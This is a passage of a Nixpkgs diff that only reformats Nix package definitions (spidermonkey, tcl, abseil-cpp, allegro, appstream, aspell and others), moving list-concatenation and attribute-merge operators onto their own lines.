-  nativeBuildInputs =
-    [
-      cargo
-      m4
-      perl
-      pkg-config
-      # 91 does not build with python 3.12: ModuleNotFoundError: No module named 'six.moves'
-      # 102 does not build with python 3.12: ModuleNotFoundError: No module named 'distutils'
-      (if lib.versionOlder version "115" then python311 else python3)
-      rustc
-      rustc.llvmPackages.llvm # for llvm-objdump
-      which
-      zip
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "128") [
-      rust-cbindgen
-      rustPlatform.bindgenHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      xcbuild
-    ];
+  nativeBuildInputs = [
+    cargo
+    m4
+    perl
+    pkg-config
+    # 91 does not build with python 3.12: ModuleNotFoundError: No module named 'six.moves'
+    # 102 does not build with python 3.12: ModuleNotFoundError: No module named 'distutils'
+    (if lib.versionOlder version "115" then python311 else python3)
+    rustc
+    rustc.llvmPackages.llvm # for llvm-objdump
+    which
+    zip
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "128") [
+    rust-cbindgen
+    rustPlatform.bindgenHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    xcbuild
+  ];
 
-  buildInputs =
-    [
-      icu75
-      nspr
-      readline
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    icu75
+    nspr
+    readline
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   depsBuildBuild = [
     buildPackages.stdenv.cc
@@ -106,32 +104,31 @@ stdenv.mkDerivation (finalAttrs: rec {
 
   setOutputFlags = false; # Configure script only understands --includedir
 
-  configureFlags =
-    [
-      "--with-intl-api"
-      "--with-system-icu"
-      "--with-system-nspr"
-      "--with-system-zlib"
-      # Fedora and Arch disable optimize, but it doesn't seme to be necessary
-      # It turns on -O3 which some gcc version had a problem with:
-      # https://src.fedoraproject.org/rpms/mozjs38/c/761399aba092bcb1299bb4fccfd60f370ab4216e
-      "--enable-optimize"
-      "--enable-readline"
-      "--enable-release"
-      "--enable-shared-js"
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "91") [
-      "--disable-debug"
-    ]
-    ++ [
-      "--disable-jemalloc"
-      "--disable-strip"
-      "--disable-tests"
-      # Spidermonkey seems to use different host/build terminology for cross
-      # compilation here.
-      "--host=${stdenv.buildPlatform.config}"
-      "--target=${stdenv.hostPlatform.config}"
-    ];
+  configureFlags = [
+    "--with-intl-api"
+    "--with-system-icu"
+    "--with-system-nspr"
+    "--with-system-zlib"
+    # Fedora and Arch disable optimize, but it doesn't seme to be necessary
+    # It turns on -O3 which some gcc version had a problem with:
+    # https://src.fedoraproject.org/rpms/mozjs38/c/761399aba092bcb1299bb4fccfd60f370ab4216e
+    "--enable-optimize"
+    "--enable-readline"
+    "--enable-release"
+    "--enable-shared-js"
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "91") [
+    "--disable-debug"
+  ]
+  ++ [
+    "--disable-jemalloc"
+    "--disable-strip"
+    "--disable-tests"
+    # Spidermonkey seems to use different host/build terminology for cross
+    # compilation here.
+    "--host=${stdenv.buildPlatform.config}"
+    "--target=${stdenv.hostPlatform.config}"
+  ];
 
   # mkDerivation by default appends --build/--host to configureFlags when cross compiling
   # These defaults are bogus for Spidermonkey - avoid passing them by providing an empty list
diff --git a/pkgs/development/interpreters/supercollider/default.nix b/pkgs/development/interpreters/supercollider/default.nix
index a2931b5b5b6a..d40d8f65e0a0 100644
--- a/pkgs/development/interpreters/supercollider/default.nix
+++ b/pkgs/development/interpreters/supercollider/default.nix
@@ -51,7 +51,8 @@ mkDerivation rec {
     cmake
     pkg-config
     qttools
-  ] ++ lib.optionals useSCEL [ emacs ];
+  ]
+  ++ lib.optionals useSCEL [ emacs ];
 
   buildInputs = [
     gcc
@@ -64,7 +65,8 @@ mkDerivation rec {
     qtwebengine
     qtwebsockets
     readline
-  ] ++ lib.optional (!stdenv.hostPlatform.isDarwin) alsa-lib;
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) alsa-lib;
 
   hardeningDisable = [ "stackprotector" ];
 
diff --git a/pkgs/development/interpreters/tcl/generic.nix b/pkgs/development/interpreters/tcl/generic.nix
index 43b9aefbde20..a2ab3f25671c 100644
--- a/pkgs/development/interpreters/tcl/generic.nix
+++ b/pkgs/development/interpreters/tcl/generic.nix
@@ -28,15 +28,14 @@ let
 
     setOutputFlags = false;
 
-    postPatch =
-      ''
-        substituteInPlace library/clock.tcl \
-          --replace "/usr/share/zoneinfo" "${tzdata}/share/zoneinfo" \
-          --replace "/usr/share/lib/zoneinfo" "" \
-          --replace "/usr/lib/zoneinfo" "" \
-          --replace "/usr/local/etc/zoneinfo" ""
-      ''
-      + extraPatch;
+    postPatch = ''
+      substituteInPlace library/clock.tcl \
+        --replace "/usr/share/zoneinfo" "${tzdata}/share/zoneinfo" \
+        --replace "/usr/share/lib/zoneinfo" "" \
+        --replace "/usr/lib/zoneinfo" "" \
+        --replace "/usr/local/etc/zoneinfo" ""
+    ''
+    + extraPatch;
 
     nativeBuildInputs = lib.optionals (lib.versionAtLeast version "9.0") [
       # Only used to detect the presence of zlib. Could be replaced with a stub.
diff --git a/pkgs/development/interpreters/tcl/mk-tcl-derivation.nix b/pkgs/development/interpreters/tcl/mk-tcl-derivation.nix
index b17d4514dfe2..7a842ffd79a7 100644
--- a/pkgs/development/interpreters/tcl/mk-tcl-derivation.nix
+++ b/pkgs/development/interpreters/tcl/mk-tcl-derivation.nix
@@ -74,7 +74,8 @@ let
 
         meta = {
           platforms = tcl.meta.platforms;
-        } // meta;
+        }
+        // meta;
 
       }
       // optionalAttrs (attrs ? checkPhase) {
diff --git a/pkgs/development/interpreters/wasmer/default.nix b/pkgs/development/interpreters/wasmer/default.nix
index 9f1dbfd3f2cd..5b35a8c1a011 100644
--- a/pkgs/development/interpreters/wasmer/default.nix
+++ b/pkgs/development/interpreters/wasmer/default.nix
@@ -34,16 +34,15 @@ rustPlatform.buildRustPackage rec {
   ];
 
   # check references to `compiler_features` in Makefile on update
-  buildFeatures =
-    [
-      "cranelift"
-      "wasmer-artifact-create"
-      "static-artifact-create"
-      "wasmer-artifact-load"
-      "static-artifact-load"
-    ]
-    ++ lib.optional withLLVM "llvm"
-    ++ lib.optional withSinglepass "singlepass";
+  buildFeatures = [
+    "cranelift"
+    "wasmer-artifact-create"
+    "static-artifact-create"
+    "wasmer-artifact-load"
+    "static-artifact-load"
+  ]
+  ++ lib.optional withLLVM "llvm"
+  ++ lib.optional withSinglepass "singlepass";
 
   cargoBuildFlags = [
     "--manifest-path"
diff --git a/pkgs/development/julia-modules/depot.nix b/pkgs/development/julia-modules/depot.nix
index 6047dc4c86f4..be5693d2b5d9 100644
--- a/pkgs/development/julia-modules/depot.nix
+++ b/pkgs/development/julia-modules/depot.nix
@@ -42,7 +42,8 @@ runCommand "julia-depot"
       git
       julia
       (python3.withPackages (ps: with ps; [ pyyaml ]))
-    ] ++ extraLibs;
+    ]
+    ++ extraLibs;
     inherit precompile registry;
   }
   (
diff --git a/pkgs/development/libraries/abseil-cpp/202103.nix b/pkgs/development/libraries/abseil-cpp/202103.nix
index 823e816e03fd..7fc104a8b247 100644
--- a/pkgs/development/libraries/abseil-cpp/202103.nix
+++ b/pkgs/development/libraries/abseil-cpp/202103.nix
@@ -19,43 +19,41 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-fcxPhuI2eL/fnd6nT11p8DpUNwGNaXZmd03yOiZcOT0=";
   };
 
-  patches =
-    [
-      # Use CMAKE_INSTALL_FULL_{LIBDIR,INCLUDEDIR}
-      # https://github.com/abseil/abseil-cpp/pull/963
-      (fetchpatch {
-        url = "https://github.com/abseil/abseil-cpp/commit/5bfa70c75e621c5d5ec095c8c4c0c050dcb2957e.patch";
-        sha256 = "0nhjxqfxpi2pkfinnqvd5m4npf9l1kg39mjx9l3087ajhadaywl5";
-      })
+  patches = [
+    # Use CMAKE_INSTALL_FULL_{LIBDIR,INCLUDEDIR}
+    # https://github.com/abseil/abseil-cpp/pull/963
+    (fetchpatch {
+      url = "https://github.com/abseil/abseil-cpp/commit/5bfa70c75e621c5d5ec095c8c4c0c050dcb2957e.patch";
+      sha256 = "0nhjxqfxpi2pkfinnqvd5m4npf9l1kg39mjx9l3087ajhadaywl5";
+    })
 
-      # Bacport gcc-13 fix:
-      #   https://github.com/abseil/abseil-cpp/pull/1187
-      (fetchpatch {
-        name = "gcc-13.patch";
-        url = "https://github.com/abseil/abseil-cpp/commit/36a4b073f1e7e02ed7d1ac140767e36f82f09b7c.patch";
-        hash = "sha256-aA7mwGEtv/cQINcawjkukmCvfNuqwUeDFssSiNKPdgg=";
-      })
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLoongArch64 [
-      # https://github.com/abseil/abseil-cpp/pull/1110
-      (fetchpatch {
-        url = "https://github.com/abseil/abseil-cpp/commit/808bc202fc13e85a7948db0d7fb58f0f051200b1.patch";
-        sha256 = "sha256-ayY/aV/xWOdEyFSDqV7B5WDGvZ0ASr/aeBeYwP5RZVc=";
-      })
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Don’t propagate the path to CoreFoundation. Otherwise, it’s impossible to build packages
-      # that require a different SDK other than the default one.
-      ./cmake-core-foundation.patch
-    ];
+    # Bacport gcc-13 fix:
+    #   https://github.com/abseil/abseil-cpp/pull/1187
+    (fetchpatch {
+      name = "gcc-13.patch";
+      url = "https://github.com/abseil/abseil-cpp/commit/36a4b073f1e7e02ed7d1ac140767e36f82f09b7c.patch";
+      hash = "sha256-aA7mwGEtv/cQINcawjkukmCvfNuqwUeDFssSiNKPdgg=";
+    })
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLoongArch64 [
+    # https://github.com/abseil/abseil-cpp/pull/1110
+    (fetchpatch {
+      url = "https://github.com/abseil/abseil-cpp/commit/808bc202fc13e85a7948db0d7fb58f0f051200b1.patch";
+      sha256 = "sha256-ayY/aV/xWOdEyFSDqV7B5WDGvZ0ASr/aeBeYwP5RZVc=";
+    })
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Don’t propagate the path to CoreFoundation. Otherwise, it’s impossible to build packages
+    # that require a different SDK other than the default one.
+    ./cmake-core-foundation.patch
+  ];
 
-  cmakeFlags =
-    [
-      "-DBUILD_SHARED_LIBS=${if static then "OFF" else "ON"}"
-    ]
-    ++ lib.optionals (cxxStandard != null) [
-      "-DCMAKE_CXX_STANDARD=${cxxStandard}"
-    ];
+  cmakeFlags = [
+    "-DBUILD_SHARED_LIBS=${if static then "OFF" else "ON"}"
+  ]
+  ++ lib.optionals (cxxStandard != null) [
+    "-DCMAKE_CXX_STANDARD=${cxxStandard}"
+  ];
 
   nativeBuildInputs = [ cmake ];
 
diff --git a/pkgs/development/libraries/abseil-cpp/202301.nix b/pkgs/development/libraries/abseil-cpp/202301.nix
index fb2e5620f430..43ae8a96099c 100644
--- a/pkgs/development/libraries/abseil-cpp/202301.nix
+++ b/pkgs/development/libraries/abseil-cpp/202301.nix
@@ -20,31 +20,29 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-7C/QIXYRyUyNVVE0tqmv8b5g/uWc58iBI5jzdtddQ+U=";
   };
 
-  patches =
-    [
-      # Fixes: clang++: error: unsupported option '-msse4.1' for target 'aarch64-apple-darwin'
-      # https://github.com/abseil/abseil-cpp/pull/1707
-      (fetchpatch {
-        name = "fix-compile-breakage-on-darwin";
-        url = "https://github.com/abseil/abseil-cpp/commit/6dee153242d7becebe026a9bed52f4114441719d.patch";
-        hash = "sha256-r6QnHPnwPwOE/hv4kLNA3FqNq2vU/QGmwAc5q0/q1cs=";
-      })
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Don’t propagate the path to CoreFoundation. Otherwise, it’s impossible to build packages
-      # that require a different SDK other than the default one.
-      ./cmake-core-foundation.patch
-    ];
+  patches = [
+    # Fixes: clang++: error: unsupported option '-msse4.1' for target 'aarch64-apple-darwin'
+    # https://github.com/abseil/abseil-cpp/pull/1707
+    (fetchpatch {
+      name = "fix-compile-breakage-on-darwin";
+      url = "https://github.com/abseil/abseil-cpp/commit/6dee153242d7becebe026a9bed52f4114441719d.patch";
+      hash = "sha256-r6QnHPnwPwOE/hv4kLNA3FqNq2vU/QGmwAc5q0/q1cs=";
+    })
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Don’t propagate the path to CoreFoundation. Otherwise, it’s impossible to build packages
+    # that require a different SDK other than the default one.
+    ./cmake-core-foundation.patch
+  ];
 
-  cmakeFlags =
-    [
-      "-DABSL_BUILD_TEST_HELPERS=ON"
-      "-DABSL_USE_EXTERNAL_GOOGLETEST=ON"
-      "-DBUILD_SHARED_LIBS=${if static then "OFF" else "ON"}"
-    ]
-    ++ lib.optionals (cxxStandard != null) [
-      "-DCMAKE_CXX_STANDARD=${cxxStandard}"
-    ];
+  cmakeFlags = [
+    "-DABSL_BUILD_TEST_HELPERS=ON"
+    "-DABSL_USE_EXTERNAL_GOOGLETEST=ON"
+    "-DBUILD_SHARED_LIBS=${if static then "OFF" else "ON"}"
+  ]
+  ++ lib.optionals (cxxStandard != null) [
+    "-DCMAKE_CXX_STANDARD=${cxxStandard}"
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/development/libraries/abseil-cpp/202401.nix b/pkgs/development/libraries/abseil-cpp/202401.nix
index 8fae381ead3d..e53983a699b0 100644
--- a/pkgs/development/libraries/abseil-cpp/202401.nix
+++ b/pkgs/development/libraries/abseil-cpp/202401.nix
@@ -30,15 +30,14 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  cmakeFlags =
-    [
-      "-DABSL_BUILD_TEST_HELPERS=ON"
-      "-DABSL_USE_EXTERNAL_GOOGLETEST=ON"
-      "-DBUILD_SHARED_LIBS=${if static then "OFF" else "ON"}"
-    ]
-    ++ lib.optionals (cxxStandard != null) [
-      "-DCMAKE_CXX_STANDARD=${cxxStandard}"
-    ];
+  cmakeFlags = [
+    "-DABSL_BUILD_TEST_HELPERS=ON"
+    "-DABSL_USE_EXTERNAL_GOOGLETEST=ON"
+    "-DBUILD_SHARED_LIBS=${if static then "OFF" else "ON"}"
+  ]
+  ++ lib.optionals (cxxStandard != null) [
+    "-DCMAKE_CXX_STANDARD=${cxxStandard}"
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/development/libraries/abseil-cpp/202407.nix b/pkgs/development/libraries/abseil-cpp/202407.nix
index fb41be536c8e..d8c0d3ef08b7 100644
--- a/pkgs/development/libraries/abseil-cpp/202407.nix
+++ b/pkgs/development/libraries/abseil-cpp/202407.nix
@@ -37,15 +37,14 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  cmakeFlags =
-    [
-      "-DABSL_BUILD_TEST_HELPERS=ON"
-      "-DABSL_USE_EXTERNAL_GOOGLETEST=ON"
-      "-DBUILD_SHARED_LIBS=${if static then "OFF" else "ON"}"
-    ]
-    ++ lib.optionals (cxxStandard != null) [
-      "-DCMAKE_CXX_STANDARD=${cxxStandard}"
-    ];
+  cmakeFlags = [
+    "-DABSL_BUILD_TEST_HELPERS=ON"
+    "-DABSL_USE_EXTERNAL_GOOGLETEST=ON"
+    "-DBUILD_SHARED_LIBS=${if static then "OFF" else "ON"}"
+  ]
+  ++ lib.optionals (cxxStandard != null) [
+    "-DCMAKE_CXX_STANDARD=${cxxStandard}"
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/development/libraries/accounts-qml-module/default.nix b/pkgs/development/libraries/accounts-qml-module/default.nix
index 2ac4663652f9..487239787673 100644
--- a/pkgs/development/libraries/accounts-qml-module/default.nix
+++ b/pkgs/development/libraries/accounts-qml-module/default.nix
@@ -30,23 +30,22 @@ stdenv.mkDerivation (finalAttrs: {
     "doc"
   ];
 
-  postPatch =
-    ''
-      substituteInPlace src/src.pro \
-        --replace '$$[QT_INSTALL_BINS]/qmlplugindump' 'qmlplugindump' \
-        --replace '$$[QT_INSTALL_QML]' '${placeholder "out"}/${qtbase.qtQmlPrefix}'
+  postPatch = ''
+    substituteInPlace src/src.pro \
+      --replace '$$[QT_INSTALL_BINS]/qmlplugindump' 'qmlplugindump' \
+      --replace '$$[QT_INSTALL_QML]' '${placeholder "out"}/${qtbase.qtQmlPrefix}'
 
-      # Find qdoc
-      substituteInPlace doc/doc.pri \
-        --replace-fail 'QDOC = $$[QT_INSTALL_BINS]/qdoc' 'QDOC = qdoc'
+    # Find qdoc
+    substituteInPlace doc/doc.pri \
+      --replace-fail 'QDOC = $$[QT_INSTALL_BINS]/qdoc' 'QDOC = qdoc'
 
-      # Don't install test binary
-      sed -i tests/tst_plugin.pro \
-        -e '/TARGET = tst_plugin/a INSTALLS -= target'
-    ''
-    + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
-      sed -i accounts-qml-module.pro -e '/tests/d'
-    '';
+    # Don't install test binary
+    sed -i tests/tst_plugin.pro \
+      -e '/TARGET = tst_plugin/a INSTALLS -= target'
+  ''
+  + lib.optionalString (!finalAttrs.finalPackage.doCheck) ''
+    sed -i accounts-qml-module.pro -e '/tests/d'
+  '';
 
   # QMake can't find Qt modules in buildInputs
   strictDeps = false;
diff --git a/pkgs/development/libraries/agg/default.nix b/pkgs/development/libraries/agg/default.nix
index d004915e04f1..fe6c0c26eb2d 100644
--- a/pkgs/development/libraries/agg/default.nix
+++ b/pkgs/development/libraries/agg/default.nix
@@ -24,14 +24,13 @@ stdenv.mkDerivation rec {
     automake
     libtool
   ];
-  buildInputs =
-    [
-      freetype
-      SDL
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libX11
-    ];
+  buildInputs = [
+    freetype
+    SDL
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libX11
+  ];
 
   postPatch = ''
     substituteInPlace include/agg_renderer_outline_aa.h \
@@ -44,16 +43,15 @@ stdenv.mkDerivation rec {
     sh autogen.sh
   '';
 
-  configureFlags =
-    [
-      (lib.enableFeature stdenv.hostPlatform.isLinux "platform")
-      (lib.enableFeature (!stdenv.hostPlatform.isDarwin) "sdltest")
-      "--enable-examples=no"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "--x-includes=${lib.getDev libX11}/include"
-      "--x-libraries=${lib.getLib libX11}/lib"
-    ];
+  configureFlags = [
+    (lib.enableFeature stdenv.hostPlatform.isLinux "platform")
+    (lib.enableFeature (!stdenv.hostPlatform.isDarwin) "sdltest")
+    "--enable-examples=no"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "--x-includes=${lib.getDev libX11}/include"
+    "--x-libraries=${lib.getLib libX11}/lib"
+  ];
 
   NIX_CFLAGS_COMPILE = [ "-fpermissive" ];
 
diff --git a/pkgs/development/libraries/allegro/5.nix b/pkgs/development/libraries/allegro/5.nix
index 55778e37df0d..90b6b4841f69 100644
--- a/pkgs/development/libraries/allegro/5.nix
+++ b/pkgs/development/libraries/allegro/5.nix
@@ -50,52 +50,50 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-agE3K+6VhhG/LO52fiesCsOq1fNYVRhdW7aKdPCbTOo=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+  ];
 
-  buildInputs =
-    [
-      enet
-      flac
-      freetype
-      gtk3
-      libGL
-      libGLU
-      libjpeg
-      libopus
-      libpng
-      libtheora
-      libvorbis
-      libwebp
-      openal
-      pcre
-      physfs
-      texinfo
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      libpthreadstubs
-      libpulseaudio
-      libX11
-      libXcursor
-      libXdmcp
-      libXext
-      libXfixes
-      libXi
-      libXpm
-      libXt
-      libXxf86dga
-      libXxf86misc
-      libXxf86vm
-      xorgproto
-    ];
+  buildInputs = [
+    enet
+    flac
+    freetype
+    gtk3
+    libGL
+    libGLU
+    libjpeg
+    libopus
+    libpng
+    libtheora
+    libvorbis
+    libwebp
+    openal
+    pcre
+    physfs
+    texinfo
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    libpthreadstubs
+    libpulseaudio
+    libX11
+    libXcursor
+    libXdmcp
+    libXext
+    libXfixes
+    libXi
+    libXpm
+    libXt
+    libXxf86dga
+    libXxf86misc
+    libXxf86vm
+    xorgproto
+  ];
 
   postPatch = ''
     sed -e 's@/XInput2.h@/XI2.h@g' -i CMakeLists.txt "src/"*.c
diff --git a/pkgs/development/libraries/appstream/default.nix b/pkgs/development/libraries/appstream/default.nix
index 4e7f13732ef3..842a8a55d290 100644
--- a/pkgs/development/libraries/appstream/default.nix
+++ b/pkgs/development/libraries/appstream/default.nix
@@ -79,63 +79,60 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      cmake
-      gettext
-      libxslt
-      xmlto
-      docbook-xsl-nons
-      docbook_xml_dtd_45
-      glib
-      itstool
-      gperf
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ]
-    ++ lib.optionals (!lib.systems.equals stdenv.buildPlatform stdenv.hostPlatform) [
-      appstream
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      vala
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    cmake
+    gettext
+    libxslt
+    xmlto
+    docbook-xsl-nons
+    docbook_xml_dtd_45
+    glib
+    itstool
+    gperf
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ]
+  ++ lib.optionals (!lib.systems.equals stdenv.buildPlatform stdenv.hostPlatform) [
+    appstream
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    vala
+  ];
 
-  buildInputs =
-    [
-      libstemmer
-      glib
-      xapian
-      libxml2
-      libxmlb
-      libyaml
-      curl
-      cairo
-      gdk-pixbuf
-      pango
-      librsvg
-    ]
-    ++ lib.optionals withSystemd [
-      systemd
-    ];
+  buildInputs = [
+    libstemmer
+    glib
+    xapian
+    libxml2
+    libxmlb
+    libyaml
+    curl
+    cairo
+    gdk-pixbuf
+    pango
+    librsvg
+  ]
+  ++ lib.optionals withSystemd [
+    systemd
+  ];
 
-  mesonFlags =
-    [
-      "-Dapidocs=false"
-      "-Dc_args=-Wno-error=missing-include-dirs"
-      "-Ddocs=false"
-      "-Dvapi=true"
-      "-Dinstalled_test_prefix=${placeholder "installedTests"}"
-      "-Dcompose=true"
-      (lib.mesonBool "gir" withIntrospection)
-    ]
-    ++ lib.optionals (!withSystemd) [
-      "-Dsystemd=false"
-    ];
+  mesonFlags = [
+    "-Dapidocs=false"
+    "-Dc_args=-Wno-error=missing-include-dirs"
+    "-Ddocs=false"
+    "-Dvapi=true"
+    "-Dinstalled_test_prefix=${placeholder "installedTests"}"
+    "-Dcompose=true"
+    (lib.mesonBool "gir" withIntrospection)
+  ]
+  ++ lib.optionals (!withSystemd) [
+    "-Dsystemd=false"
+  ];
 
   passthru.tests = {
     installed-tests = nixosTests.installed-tests.appstream;
diff --git a/pkgs/development/libraries/aspell/default.nix b/pkgs/development/libraries/aspell/default.nix
index 997a4d1b0e91..fe991cc44bd4 100644
--- a/pkgs/development/libraries/aspell/default.nix
+++ b/pkgs/development/libraries/aspell/default.nix
@@ -43,7 +43,8 @@ stdenv.mkDerivation rec {
       url = "https://github.com/GNUAspell/aspell/commit/ee6cbb12ff36a1e6618d7388a78dd4e0a2b44041.patch";
       hash = "sha256-rW1FcfARdtT4wX+zGd2x/1K8zRp9JZhdR/zRd8RwPZA=";
     })
-  ] ++ lib.optional searchNixProfiles ./data-dirs-from-nix-profiles.patch;
+  ]
+  ++ lib.optional searchNixProfiles ./data-dirs-from-nix-profiles.patch;
 
   postPatch = ''
     patch interfaces/cc/aspell.h < ${./clang.patch}
diff --git a/pkgs/development/libraries/aspell/dictionaries.nix b/pkgs/development/libraries/aspell/dictionaries.nix
index 4874bb653eb8..a6dcfb87acc5 100644
--- a/pkgs/development/libraries/aspell/dictionaries.nix
+++ b/pkgs/development/libraries/aspell/dictionaries.nix
@@ -65,7 +65,8 @@ let
         meta = {
           description = "Aspell dictionary for ${fullName}";
           platforms = lib.platforms.all;
-        } // (args.meta or { });
+        }
+        // (args.meta or { });
       }
       // removeAttrs args [ "meta" ]
     );
@@ -80,89 +81,89 @@ let
       ...
     }@args:
     let
-      buildArgs =
-        {
-          shortName = "${language}";
+      buildArgs = {
+        shortName = "${language}";
 
-          src = fetchurl {
-            url = "mirror://gnu/aspell/dict/${language}/${filename}-${language}-${version}.tar.bz2";
-            inherit sha256;
-          };
+        src = fetchurl {
+          url = "mirror://gnu/aspell/dict/${language}/${filename}-${language}-${version}.tar.bz2";
+          inherit sha256;
+        };
 
-          /*
-            Remove any instances of u-deva.cmap and u-deva.cset since
-            they are included in the main aspell package and can
-            cause conflicts otherwise.
-          */
-          postInstall = ''
-            rm -f $out/lib/aspell/u-deva.{cmap,cset}
-          '';
+        /*
+          Remove any instances of u-deva.cmap and u-deva.cset since
+          they are included in the main aspell package and can
+          cause conflicts otherwise.
+        */
+        postInstall = ''
+          rm -f $out/lib/aspell/u-deva.{cmap,cset}
+        '';
 
-          passthru.updateScript = writeScript "update-aspellDict-${language}" ''
-            #!/usr/bin/env nix-shell
-            #!nix-shell -i bash -p nix curl gnused common-updater-scripts
-            set -eu -o pipefail
+        passthru.updateScript = writeScript "update-aspellDict-${language}" ''
+          #!/usr/bin/env nix-shell
+          #!nix-shell -i bash -p nix curl gnused common-updater-scripts
+          set -eu -o pipefail
 
-            # List tarballs in the dictionary's subdirectory via HTTPS and
-            # the simple list method of Apache's mod_autoindex.
-            #
-            # Catalan dictionary has an exception where an earlier version
-            # compares as newer because the versioning scheme has changed.
-            versions=$(
-                echo '[';
-                curl -s 'https://ftp.gnu.org/gnu/aspell/dict/${language}/?F=0' | \
-                    sed -r 's/.* href="${filename}-${language}-([A-Za-z0-9_+.-]+)\.tar\.bz2".*/"\1"/;t;d' | \
-                    if [ '${language}' = "ca" ]; then grep -v 20040130-1; else cat; fi; \
-                echo ']')
+          # List tarballs in the dictionary's subdirectory via HTTPS and
+          # the simple list method of Apache's mod_autoindex.
+          #
+          # Catalan dictionary has an exception where an earlier version
+          # compares as newer because the versioning scheme has changed.
+          versions=$(
+              echo '[';
+              curl -s 'https://ftp.gnu.org/gnu/aspell/dict/${language}/?F=0' | \
+                  sed -r 's/.* href="${filename}-${language}-([A-Za-z0-9_+.-]+)\.tar\.bz2".*/"\1"/;t;d' | \
+                  if [ '${language}' = "ca" ]; then grep -v 20040130-1; else cat; fi; \
+              echo ']')
 
-            # Sort versions in descending order using Nix's and take the first as the latest.
-            sortVersions="(with builtins; head (sort (a: b: compareVersions a b > 0) $versions))"
-            # nix-instantiate outputs Nix strings (with quotes), so remove them to get
-            # a result similar to `nix eval --raw`.
-            latestVersion=$(nix-instantiate --eval --expr "$sortVersions" | tr -d '"')
+          # Sort versions in descending order using Nix's and take the first as the latest.
+          sortVersions="(with builtins; head (sort (a: b: compareVersions a b > 0) $versions))"
+          # nix-instantiate outputs Nix strings (with quotes), so remove them to get
+          # a result similar to `nix eval --raw`.
+          latestVersion=$(nix-instantiate --eval --expr "$sortVersions" | tr -d '"')
 
-            update-source-version aspellDicts.${language} "$latestVersion"
-          '';
-
-          meta = {
-            homepage = "http://ftp.gnu.org/gnu/aspell/dict/0index.html";
-          } // (args.meta or { });
+          update-source-version aspellDicts.${language} "$latestVersion"
+        '';
 
+        meta = {
+          homepage = "http://ftp.gnu.org/gnu/aspell/dict/0index.html";
         }
-        //
-          lib.optionalAttrs
-            (lib.elem language [
-              "is"
-              "nb"
-            ])
-            {
-              # These have Windows-1251 encoded non-ASCII characters,
-              # so need some special handling.
-              unpackPhase = ''
-                runHook preUnpack
+        // (args.meta or { });
 
-                tar -xf $src --strip-components=1 || true
+      }
+      //
+        lib.optionalAttrs
+          (lib.elem language [
+            "is"
+            "nb"
+          ])
+          {
+            # These have Windows-1251 encoded non-ASCII characters,
+            # so need some special handling.
+            unpackPhase = ''
+              runHook preUnpack
 
-                runHook postUnpack
+              tar -xf $src --strip-components=1 || true
+
+              runHook postUnpack
+            '';
+
+            postPatch = lib.getAttr language {
+              is = ''
+                cp icelandic.alias íslenska.alias
+                sed -i 's/ .slenska\.alias/ íslenska.alias/g' Makefile.pre
               '';
-
-              postPatch = lib.getAttr language {
-                is = ''
-                  cp icelandic.alias íslenska.alias
-                  sed -i 's/ .slenska\.alias/ íslenska.alias/g' Makefile.pre
-                '';
-                nb = ''
-                  cp bokmal.alias bokmål.alias
-                  sed -i 's/ bokm.l\.alias/ bokmål.alias/g' Makefile.pre
-                '';
-              };
-            }
-        // removeAttrs args [
-          "language"
-          "filename"
-          "sha256"
-          "meta"
-        ];
+              nb = ''
+                cp bokmal.alias bokmål.alias
+                sed -i 's/ bokm.l\.alias/ bokmål.alias/g' Makefile.pre
+              '';
+            };
+          }
+      // removeAttrs args [
+        "language"
+        "filename"
+        "sha256"
+        "meta"
+      ];
     in
     buildDict buildArgs;
 
diff --git a/pkgs/development/libraries/astal/buildAstalModule.nix b/pkgs/development/libraries/astal/buildAstalModule.nix
